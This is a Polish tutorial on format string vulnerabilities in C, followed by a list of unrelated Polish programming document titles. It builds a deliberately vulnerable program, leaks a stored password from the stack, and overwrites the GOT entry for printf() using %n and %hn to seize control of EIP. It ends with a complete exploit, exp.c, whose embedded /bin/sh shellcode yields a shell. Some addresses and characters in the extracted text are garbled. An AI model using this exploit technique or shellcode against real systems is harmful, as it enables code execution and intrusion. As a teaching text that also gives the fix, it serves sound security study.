Błędy łańcuchów formatujących (format string) by h07

Wielkość: px
Rozpocząć pokaz od strony:

Download "Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)"

Transkrypt

1 Błędy łańcuchów formatujących (format string) by h07 Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący) umoŝliwiają wypełnianie łańcuchów znakowych odpowiednimi danymi. Przykład.. //printf.c int main() int cena = 65; printf("ksiazka kosztuje %d zl\n", cena); return 0; format]$ gcc -o printf printf.c format]$./printf Ksiazka kosztuje 65 zl Rezultatem działania przykładowego programu printf.c jest wyświetlenie łańcucha znakowego wypełnionego danymi w sposób określony przez programistę. Specyfikator %d umoŝliwia wyświetlenie wartości typu całkowitego w systemie dziesiętnym. W naszym przypadku argumentem specyfikatora %d była zmienna int cena. Błędy łańcuchów formatujących występują wówczas, gdy ilość specyfikatorów jest większa od ilości odpowiadających im argumentów. Brakujące wartości pobierane są ze stosu co w rezultacie umoŝliwia hakerowi podejrzenie zawartości stosu w celu odczytania istotnych danych lub przejęcia kontroli nad wykonywaniem programu. Podgląd zawartości stosu. Przykładowy program fmt.c podatny jest na atak ciągu formatującego. UŜyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie daje nam moŝliwość wprowadzenia z zewnątrz własnego łańcucha formatującego. //fmt.c int main(int argc, char *argv[]) char buffer[512]; if(argc > 1) snprintf(buffer, sizeof(buffer) -1, argv[1]); printf("%s\n", buffer);

2 return 0; format]$ gcc -o fmt fmt.c format]$./fmt "%d %d %d %d %d %d %d %d %d %d" Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których nie określono argumentów zawierających wartości całkowite. Konsekwencją tego było odczytanie brakujących danych ze stosu i wyświetlenie ich w systemie dziesiętnym Specyfikator %x umoŝliwia wyświetlenie wartości w systemie 16-stkowym. format]$./fmt "%x %x %x %x %x %x %x %x %x %x" MoŜliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać? //format.c int main(int argc, char *argv[]) char buffer[150]; char *password = "hello world"; if(argc == 1 strlen(argv[1]) > 100) printf("usege: %s <password>\n", argv[0]); exit(0); if(strcmp(argv[1], password) == 0) printf("password ok\n"); else sprintf(buffer, "Access denied, bad password: %s\n", argv[1]); printf(buffer); return 0; Powyzszy program podatny jest na błąd łańcucha formatującego. Standardowo weryfikuje on poprawność hasła, po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1] umieścimy dodatkowe specyfikatory to brakujące dane zostaną pobrane ze stosu (w tym nasz tajne hasło hello world ). Aby odczytać dane ze stosu w postaci łańcucha znakowego posłuŝymy się specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków. format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " &&./format "[%$i\$x] = '%$i\$s'"; done [1] : Access denied, bad password: [ ] = 'Access denied, bad password: %s '

3 [2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s'' [3] : Segmentation fault [4] : Access denied, bad password: [0] = '(null)' [5] : Access denied, bad password: [0] = '(null)' [6] : Access denied, bad password: [40033bcc] = '' [7] : Access denied, bad password: [4002ebb4] = '' [8] : Access denied, bad password: [ ] = '' [9] : Access denied, bad password: [ ] = '' [10] : Segmentation fault [11] : Access denied, bad password: [80485e8] = 'hello world' [12] : Segmentation fault [13] : Segmentation fault [14] : Segmentation fault [15] : Segmentation fault [16] : Segmentation fault [17] : Segmentation fault [18] : Segmentation fault [19] : Segmentation fault [20] : Segmentation fault [21] : Segmentation fault [22] : Segmentation fault [23] : Segmentation fault '24] : Access denied, bad password: [ ] = ii [25] : Segmentation fault [26] : Access denied, bad password: [0] = '(null)' [27] : Segmentation fault [28] : Access denied, bad password: [ ] = [29] : Access denied, bad password: [0] = '(null)' [30] : Access denied, bad password: [bffff5a4] = ' ı ' Wykonując powyŝsze polecenie odczytaliśmy dane ze stosu (przesuniecie względem szczytu stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów %x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości szesnastkowe jak i łańcuchy znakowe. Nasze tajne hasło zostało odczytane podczas 11 iteracji pętli [11] : Access denied, bad password: [80485e8] = 'hello world' MoŜemy teraz odczytać nasze hasło stosując metodę bezpośredniego dostępu do parametru. format]$./format "%11\$s" Access denied, bad password: hello world format]$./format "hello world" Password ok Przejęcie kontroli nad wykonywaniem programu. Wykorzystanie błędów łańcuchów formatujących do przejęcia kontroli nad wykonywaniem programu nie jest rzeczą łatwą. Przede wszystkim musimy zapoznać się ze specyfikatorem %n. Ów specyfikator umieszcza ilość wyprowadzonych przed nim znaków w adresie pamięci określonym przez argument. Jeśli nie określimy argumentu dla specyfikatora %n, pobierze on brakujące dane ze stosu traktując je jako adres pod którym zostanie zapisana liczba wybprowadzonych przed nim znaków. Konsekwencją tego będzie nadpisanie niedozwolonych obszarów pamięci czyli błąd segmentacji.

4 format]$./fmt "AAAA%n" Segmentation fault I co dalej? Jeśli odnajdziemy przesunięcie względem szczytu stosu, w którym znajduje się nasz łańcuch znakowy (wypełniony konkretnym adresem) wprowadzany do programu i zmusimy specyfikator %n by pobrał nasz łańcuch jako argument to da nam to moŝliwość zapisu liczby wyprowadzonych znaków przed specyfikatorem %n w dowolnym miejscu pamięci. format]$./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x" AAAABBBB format]$./fmt "AAAA %x %x %x %x %x %x" AAAA format]$./fmt "AAAA%6\$x" AAAA Widzimy Ŝe początek naszego łańcucha znakowego znajduje się w szóstym przesunięciu względem szczytu stosu. Oznacza to, iŝ potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową reprezentacja łańcucha znakowego AAAA czyli UŜyjmy teraz specyfikatora %n zamiast %x i zobaczmy co się stanie. format]$ gdb fmt (gdb) r "AAAA%6\$n" Starting program: /home/h07/format/fmt "AAAA%6\$n" 0x in vfprintf () from /lib/tls/libc.so.6 (gdb) info reg eax 0xf 15 ecx 0x edx 0x0 0 ebx 0x4013f esp 0xbfffe5d0 0xbfffe5d0 ebp 0xbffff25c 0xbffff25c esi 0xbfffe5f edi 0x4 4 eip 0x x eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/1i $eip 0x <vfprintf+14642>: mov %edi,(%ecx) Próbowaliśmy zapisać wartość 0x4 pod adresem 0x Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA) dlatego rejestr EDI ma wartość 0x4.

5 Jednym ze sposobów zmiany sterowania programu jest modyfikacja wartości umieszczonej pod adresem funkcji znajdującej się w tabeli GOT (Global Offset Table). Do takich funkcji naleŝy między innymi funkcja printf() i pierwszym krokiem jest ustalenie jej adresu. format]$ objdump -R fmt fmt: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE e0 R_386_GLOB_DAT gmon_start d4 R_386_JUMP_SLOT libc_start_main d8 R_386_JUMP_SLOT printf dc R_386_JUMP_SLOT snprintf W naszym przypadku funkcja printf() ma adres d8. PoniewaŜ procesory zapisują adresy zaczynając od bajtów mniej znaczących musimy odwrócić kolejność bajtów adresu wprowadzanego do łańcucha formatującego d8 = \xd8\x95\x04\x08 Spróbujmy zatem nadpisac ten adres wartością 0x4 i zobaczmy co się stanie. format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n' 0x in?? () (gdb) info reg eax 0xbffff3b ecx 0xbffff edx 0x4 4 ebx 0x4013f esp 0xbffff38c 0xbffff38c ebp 0xbffff5b8 0xbffff5b8 esi 0xbffff edi 0xbffff5d eip 0x4 0x4 eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Bingo ;) Sterowanie zostało zmienione. Rejestr sterujący EIP przyjął wartość 0x4 co spowodowało skok do adresu 0x Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA? PoniewaŜ przed specyfikatorem %n umieściliśmy 4-bajtowy adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).

6 MoŜemy wywnioskować ze długość łańcucha formatującego w systemie dziesiętnym odpowiada wartości rejestru EIP w systemie szesnastkowym. Spróbujmy zatem nadpisać rejestr EIP wartością 0x4141. //convert.c int main() int RET = 0x4141; printf("length: %d\n", RET -4); return 0; format]$ gcc -o convert convert.c format]$./convert Length: format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%16701x%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n' 0x in?? () (gdb) info reg eip eip 0x4141 0x4141 Program convert.c zamienił wartość 16-stkową 0x4141 na system dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres) Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego dała rezultat nadpisania rejestru EIP wartością 0x4141. Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP pełnym (4-bajtowym) adresem np. 0x Musimy rozbić ów adres na dwie części i zapisać pierwszą z nich w adresie funkcji printf() a drugą część bezpośrednio pod tym adresem (adres funkcji printf + 2 [ d8 +2 = da = \xda\x95\x04\x08 ]). Do tego celu uŝyjemy specyfikatora %hn, który umoŝliwia zapisanie wartości 16-bitowej (2-bajtowej). jeśli A < B r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B A )x%7$hn' jeśli A > B r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A B )x%7$n' PowyŜej przedstawiony został prosty schemat ustalający długość łańcucha formatującego tak by uzyskane wartości powodowały napisanie rejestru EIP konkretnym adresem. Przykład: Adres = 0x Długość łańcucha = 8 A = hex: 4141 = dec: 16705

7 B = hex: 4242 = dec: (A < B) A: = B: = 257 (gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' 0x in?? () (gdb) info reg eip eip 0x x Adres = 0x Długość łańcucha = 8 A = hex: 4242 = dec: B = hex: 4141 = dec: (A > B) B: = A: = 257 (gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' 0x in?? () (gdb) info reg eip eip 0x x Potrafimy juŝ napisać rejestr EIP dowolnym adresem więc nadszedł czas napisać exploit który wykorzysta błąd łańcucha formatującego w programie fmt.c uruchamiając kod powłoki. //exp.c (format string exploit demo) by h07 #include <stdio.h> #define BUFF_SIZE 1000 #define LEN 8 #define NOP 0x90 char buffer[buff_size]; char fmt[80]; char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"

8 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a"; unsigned long get_esp() asm ("movl %esp,%eax"); int main(int argc, char *argv[]) unsigned long RET, offset = 0; unsigned int A, B; if(argc > 1) offset = atoi(argv[1]); RET = get_esp() - offset; A = (RET & 0xffff0000) >> 16; B = (RET & 0x0000ffff); printf("\nret: 0x%x\n", RET); if(a < B) A -= LEN; sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", A, (B - A) -LEN); else B -= LEN; sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", B, (A - B) -LEN); if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE) printf("error: buffer too small..\n"); exit(1); memset(buffer, NOP, BUFF_SIZE -1); memcpy(buffer, "EXP=", 4); memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode)); putenv(buffer); printf("\nformat string: %s\n\n", fmt); system("/bin/bash"); return 0;

9 Exploit ustala adres powrotny po przez odjęcie offsetu od wierzchołka stosu. Następnie uzyskany adres powrotny rozdzielany jest na dwie części (A i B) po czym następuje obliczanie długości łańcucha formatującego. Obliczone wartości nadpisują adres funkcji printf() i adres znajdujący się pod nią uzyskując 16-stkową reprezentacje adresu do którego zostanie wykonany skok. Na samym koncu tworzona jest zmienna systemowa $EXP o rozmiarze 1000 bajtów która wypełniana jest instrukcjami NOP a później shellcodem. Odpalamy exploit: format]$ gcc -o exp exp.c format]$./exp -400 RET: 0xbffff748 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' Segmentation fault format]$./exp -800 RET: 0xbffff8d8 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' sh-2.05b$ W ten oto sposób wykorzystaliśmy błąd łańcucha formatującego w programie fmt.c zmieniając jego sterowanie i uruchamiając kod powłoki znajdujący się w zmiennej systemowej $EXP. Outro. Błąd łańcucha formatującego znajdujący się w programie fmt.c jest bardzo łatwy do naprawienia. Wystarczy umieścić w funkcji snprinf() formater określający sposób formatowania danych. snprintf(buffer, sizeof(buffer) -1, argv[1]); //źle snprintf(buffer, sizeof(buffer) -1, "%s", argv[1]); //dobrze Ataki typu format string stają się coraz rzadsze. Nie znaczy to jednak ze błędy tego typu nie mają juz miejsca czego przykładem jest między innymi serwer FTP wu-ftp EoF;

Buffer Overflow (art. 2) by h07 (h07@interia.pl)

Buffer Overflow (art. 2) by h07 (h07@interia.pl) Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania

Bardziej szczegółowo

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje

Bardziej szczegółowo

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane Stałe Oprócz zmiennych w programie mamy też stałe, które jak sama nazwa mówi, zachowują swoją wartość przez cały czas działania programu. Można

Bardziej szczegółowo

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście. Typy, operatory, wyrażenia. Wejście i wyjście. Typy, operatory, wyrażenia Zmienna: [] [ '[' ']' ] ['=' ]; Zmienna to fragment pamięci o określonym

Bardziej szczegółowo

Ćwiczenie 3. Konwersja liczb binarnych

Ćwiczenie 3. Konwersja liczb binarnych 1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się

Bardziej szczegółowo

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego 1 /24 Pisanie pojedynczych znaków z klawiatury do pliku #include void main(void) { FILE *fptr; // wkaznik do pliku, tzw. uchwyt

Bardziej szczegółowo

Programowanie w asemblerze Uruchamianie programów

Programowanie w asemblerze Uruchamianie programów Programowanie w asemblerze Uruchamianie programów 17 stycznia 2017 Uruchamianie programów Przy uruchamianiu i badaniu zachowania programów systemowych używa się wielu narzędzi. Prostsze z ich, takie jak

Bardziej szczegółowo

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu Informatyka, Ćwiczenie 1 1. Uruchomienie Microsoft Visual C++ I. ZałoŜenie nowego projektu Wybieramy menu: File>New>Files jak na rys. poniŝej Zapisujemy projekt pod nazwą LAN, w katalogu d:\temp\lab typu

Bardziej szczegółowo

Języki i metodyka programowania. Wprowadzenie do języka C

Języki i metodyka programowania. Wprowadzenie do języka C Literatura: Brian W. Kernighan, Dennis M. Ritchie Język Ansi C, Wydawnictwa Naukowo - Techniczne, 2007 http://cm.bell-labs.com/cm/cs/cbook/index.html Scott E. Gimpel, Clovis L. Tondo Język Ansi C. Ćwiczenia

Bardziej szczegółowo

Stałe i zmienne znakowe. Stała znakowa: znak

Stałe i zmienne znakowe. Stała znakowa: znak Stałe i zmienne znakowe. Stała znakowa: znak Na przykład: a, 1, 0 c Każdy znak jest reprezentowany w pamięci przez swój kod. Kody alfanumerycznych znaków ASCII to liczby z przedziału [32, 127]. Liczby

Bardziej szczegółowo

2 Przygotował: mgr inż. Maciej Lasota

2 Przygotował: mgr inż. Maciej Lasota Laboratorium nr 2 1/7 Język C Instrukcja laboratoryjna Temat: Wprowadzenie do języka C 2 Przygotował: mgr inż. Maciej Lasota 1) Wprowadzenie do języka C. Język C jest językiem programowania ogólnego zastosowania

Bardziej szczegółowo

Wskaźniki. Informatyka

Wskaźniki. Informatyka Materiały Wskaźniki Informatyka Wskaźnik z punktu widzenia programisty jest grupą komórek pamięci (rozmiar wskaźnika zależy od architektury procesora, najczęściej są to dwa lub cztery bajty ), które mogą

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE

PROGRAMOWANIE NISKOPOZIOMOWE PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 Wprowadzenie

Bardziej szczegółowo

Pliki. Informacje ogólne. Obsługa plików w języku C

Pliki. Informacje ogólne. Obsługa plików w języku C Pliki Informacje ogólne Plik jest pewnym zbiorem danych, zapisanym w systemie plików na nośniku danych (np. dysku twardym, pendrive, płycie DVD itp.). Może posiadać określone atrybuty, a odwołanie do niego

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym

Bardziej szczegółowo

Pliki. Informacje ogólne. Obsługa plików w języku C

Pliki. Informacje ogólne. Obsługa plików w języku C Pliki Informacje ogólne Plik jest pewnym zbiorem danych, zapisanym w systemie plików na nośniku danych. Może posiadać określone atrybuty, a odwołanie do niego odbywa się poprzez nazwę. Każdy plik ma skończoną

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie

Bardziej szczegółowo

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory Programowanie I C / C++ laboratorium 03 arytmetyka, operatory Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-19 Typ znakowy Typ znakowy Typ wyliczeniowy # include

Bardziej szczegółowo

int tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania

int tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania Rok akademicki 2013/2014, Pracownia nr 10 2/20 Informatyka 1 Tablica elementów ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu Politechnika Białostocka - Wydział Elektryczny Elektrotechnika,

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Wykład 6 Jan Kazimirski 1 Architektura x86 2 Środowisko wykonawcze x86 (32-bit) Przestrzeń adresowa Liniowa przestrzeń adresowa do 4 GB Fizyczna przestrzeń adresowa do 64 GB Rejestry

Bardziej szczegółowo

Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych

Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych Przykłady wykorzystanie funkcji printf i scanf do wyświetlania danych na wyświetlaczu LCD oraz komunikacji sterownika mikroprocesorowego

Bardziej szczegółowo

Wstęp do Programowania, laboratorium 02

Wstęp do Programowania, laboratorium 02 Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite

Bardziej szczegółowo

7 Przygotował: mgr inż. Maciej Lasota

7 Przygotował: mgr inż. Maciej Lasota Laboratorium nr 7 1/5 Język C Instrukcja laboratoryjna Temat: Operacje na plikach. 7 Przygotował: mgr inż. Maciej Lasota 1) Pliki. Plik (ang. file), jest to nazwany ciąg danych (inaczej zbiór danych),

Bardziej szczegółowo

Programowanie I C / C++ laboratorium 01 Organizacja zajęć

Programowanie I C / C++ laboratorium 01 Organizacja zajęć Programowanie I C / C++ laboratorium 01 Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-12 Program zajęć Zasady zaliczenia Program operacje wejścia i wyjścia instrukcje

Bardziej szczegółowo

1. Wprowadzanie danych z klawiatury funkcja scanf

1. Wprowadzanie danych z klawiatury funkcja scanf 1. Wprowadzanie danych z klawiatury funkcja scanf Deklaracja int scanf ( const char *format, wskaźnik, wskaźnik,... ) ; Biblioteka Działanie stdio.h Funkcja scanf wczytuje kolejne pola (ciągi znaków),

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.

Bardziej szczegółowo

Opis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek].

Opis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek]. ABAP/4 Instrukcja IF Opis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek]. [ELSEIF warunek. ] [ELSE. ] ENDIF. gdzie: warunek dowolne wyrażenie logiczne o wartości

Bardziej szczegółowo

Proste typy zmiennych języka C++ *) Zapis 3.4 e-38 jest równoważny zapisowi 3,

Proste typy zmiennych języka C++ *) Zapis 3.4 e-38 jest równoważny zapisowi 3, WYKŁAD 1. PODSTAWY 1_1. Typy zmiennych Proste typy zmiennych języka C++ Nazwa typu (nazwa skrócona) Rozmiar (bajtów) unsigned char 1 signed char (char) unsigned short int (unsigned) signed short int (int)

Bardziej szczegółowo

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w

Bardziej szczegółowo

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik Wykład VI Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2014 c Copyright 2014 Janusz Słupik Operacje na plikach Operacje na plikach Aby móc korzystać z pliku należy go otworzyć w odpowiednim

Bardziej szczegółowo

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak Katedra Elektrotechniki Teoretycznej i Informatyki wykład 12 - sem.iii M. Czyżak Język C - preprocesor Preprocesor C i C++ (cpp) jest programem, który przetwarza tekst programu przed przekazaniem go kompilatorowi.

Bardziej szczegółowo

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main. Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo

Bardziej szczegółowo

VII. Ciągi znaków łańcuchy

VII. Ciągi znaków łańcuchy VII. Ciągi znaków łańcuchy 7.1. Wczytywanie tekstu Do tej pory poznaliśmy metodę wczytywania i wyświetlania liczb. Tak samo jak liczby moŝemy wczytać jeden znak, jednak co zrobić jeśli chcielibyśmy wczytać

Bardziej szczegółowo

Programowanie w językach wysokiego poziomu

Programowanie w językach wysokiego poziomu Programowanie w językach wysokiego poziomu zajęcia nr 2 Elektronika i Telekomunikacja, semestr III rok akademicki 2014/2015 Plan dzisiejszych zajęć Pliki tekstowe 1. Operacje na plikach - wprowadzenie

Bardziej szczegółowo

Część 4 życie programu

Część 4 życie programu 1. Struktura programu c++ Ogólna struktura programu w C++ składa się z kilku części: część 1 część 2 część 3 część 4 #include int main(int argc, char *argv[]) /* instrukcje funkcji main */ Część

Bardziej szczegółowo

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący

Bardziej szczegółowo

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Ćwiczenie 4 Obsługa plików Kraków 2010 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim

Bardziej szczegółowo

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA Metodyki i Techniki Programowania 1 1 ZAJ CIA 3. 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA IDE zintegrowane środowisko programistyczne, zawierające kompilator, edytor tekstu i linker,

Bardziej szczegółowo

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013 Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Obsługa plików Kraków 2013 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim będziemy mogli

Bardziej szczegółowo

Struktury. Przykład W8_1

Struktury. Przykład W8_1 Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla

Bardziej szczegółowo

Programowanie Niskopoziomowe

